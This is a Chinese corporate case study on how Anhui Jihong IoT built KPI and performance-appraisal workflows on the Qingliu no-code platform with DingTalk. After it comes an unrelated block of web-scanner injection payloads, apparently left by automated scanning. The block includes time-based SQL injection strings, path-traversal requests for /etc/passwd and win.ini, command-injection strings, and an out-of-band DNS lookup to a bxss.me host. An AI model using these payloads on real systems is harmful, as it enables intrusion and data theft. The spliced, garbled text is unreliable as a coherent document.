企业背景
安徽集弘物联科技有限公司(下文简称:集弘物联),是成立于2013年2月的国家级高新技术企业安徽蓝麦通信股份有限公司下属的子公司,蓝麦专业为国际国内移动、联通、电信、铁塔公司提供新一代基站、室分、网络优化等通信、电路、器件、天馈产品的一体化服务。
公司主要业务在智慧园区/智慧教育/智慧社区等领域,拥有成熟的管理与研发团队,先进的微波测量仪器和精密加工设备,具备年产上亿的制造能力。技术水平居国内领先、国际先进水平。
基于钉钉+轻流的模式陆续开发和启用了KPI考核、行为规范考核、任务指标考核、内部提升考核、积分管理等应用软件。
现公司员工通过钉钉实现工作日常沟通交流、通过轻流应用实现办公协作管理,打造完整的绩效管理系统,提高全公司管理效率。
下面与大家分享一下安徽集弘物联科技有限公司的实践经验。
传统绩效软件
公司在执行绩效考核初期,遇到了诸多问题,比如考核指标划分不合理,员工不满情绪高;考核流于形式,不能正向激励员工等等,无形中给公司造成了极大的损失与浪费。
公司希望能够通过使用绩效考核软件来解决问题,但通过调研发现成品软件并不能完美适配公司需求,解决不了痛点问题。
轻流助力绩效考核
在多方比较后,集弘物联选择了轻流·无代码开发平台,按照公司业务特点及需求搭建绩效考核系统,在钉钉实现了绩效考核流程及审批规范化。
集弘物联的绩效考核管理主要围绕四个维度: KPI+行为规范+任务完成+内部提升
场景一:绩效指标定义模糊、不够量化
通过在轻流搭建完整的绩效考核流程,首先确定了考核周期/权重/计算标准等数据,在系统上提交考核指标表。并通过线下会议与轻流层层审批把关,确保线下讨论与线上一致。运用钉钉消息推送能力,将审核流程等信息通过钉钉消息通知用户,审批人可快速处理。让消息通知更加高效,每个审批节点都及时响应,使指标制定更加合理化。
场景二:数据收集整理困难,考核过程形式化
通过轻流实现量化考核指标在其它模块中产生结算数据,轻流系统自动把数据,推送到「指标达成数据库」。并且在提交当前周期的KPI考核达成表时,系统依筛选条件自动获取数据库数据,不存在人员干涉,保证了数据准确性。
考核成绩也将自动更新到「工资结算表」中自动生成,无须人工统计,大大提高工作效率。员工可通过钉钉工作台直接启动轻流,免登录快速进入轻流查看数据报表,使用更便捷。
场景三:指标与经营脱节,缺乏审核监督
下级指标与上层相关联,每周或每月依据上级指派和个人工作计划,将任务录入系统进行完成进度追踪与考核。并设置公司内部奖惩制度,上级可对完成进度与完成质量做进度管理,逾期可依管理规定进行罚款(行为考核范围)。
完成的结果与积分挂钩,积分可兑换奖品。强大的审批流与数据源支撑,有效解决了主管监管问题,提高了管理效率。通过钉钉群机器人推送待办中心,在钉钉上实现待办中心的统一,主管可实时审核监督。
使用心得
通过使用“轻流+钉钉”的管理模式,搭建了完善的绩效考核管理系统,助力公司快速推进业务。
1)轻流实现与钉钉办公兼容:不必改变原先办公软件,可直接从钉钉安装使用轻流,操作便捷,降低时间精力成本。
2)无需代码开发,快速搭建个性化应用:功能模块都是配置好的,操作便捷,可直接按照需求进行个性化搭建,无需反复进行功能测试,即可投入使用;云软件、数据安全严密,无需配置服务器;功能更新快,应用不断扩展和丰富。
3)低成本投入、优化公司管理形式:自购买轻流后,搭建全公司的绩效管理系统未配备专业IT人员;简单了解功能配置后,即可进行个性化定制,向全公司推广使用过程,操作简单易上手,实现全公司绩效管理模式的升级优化。
!(()&&!|*|*|
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
-1; waitfor delay ‘0:0:15’ —
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
/WEB-INF/web.xml
1
-1); waitfor delay ‘0:0:15’ —
-1)) OR 67=(SELECT 67 FROM PG_SLEEP(15))–
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
/etc/shells
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
‘+’A’.concat(70-3).concat(22*4).concat(104).concat(86).concat(101).concat(66)+(require’socket’
Socket.gethostbyname(‘hitgo’+’tdszomyi2cfce.bxss.me.’)[3].to_s)+’
/etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
12345′”\’\”);|]*%00{%0d%0a%bf%27’💡
xfs.bxss.me
‘”()&%5kjx(9493)
1′”()&%C3H7(9613)
&echo zxxisf$()\ gdoclr\nz^xyu||a #’ &echo zxxisf$()\ gdoclr\nz^xyu||a #|” &echo zxxisf$()\ gdoclr\nz^xyu||a #
../…/.././../…/.././../…/.././../…/.././../…/.././../…/.././windows/win.ini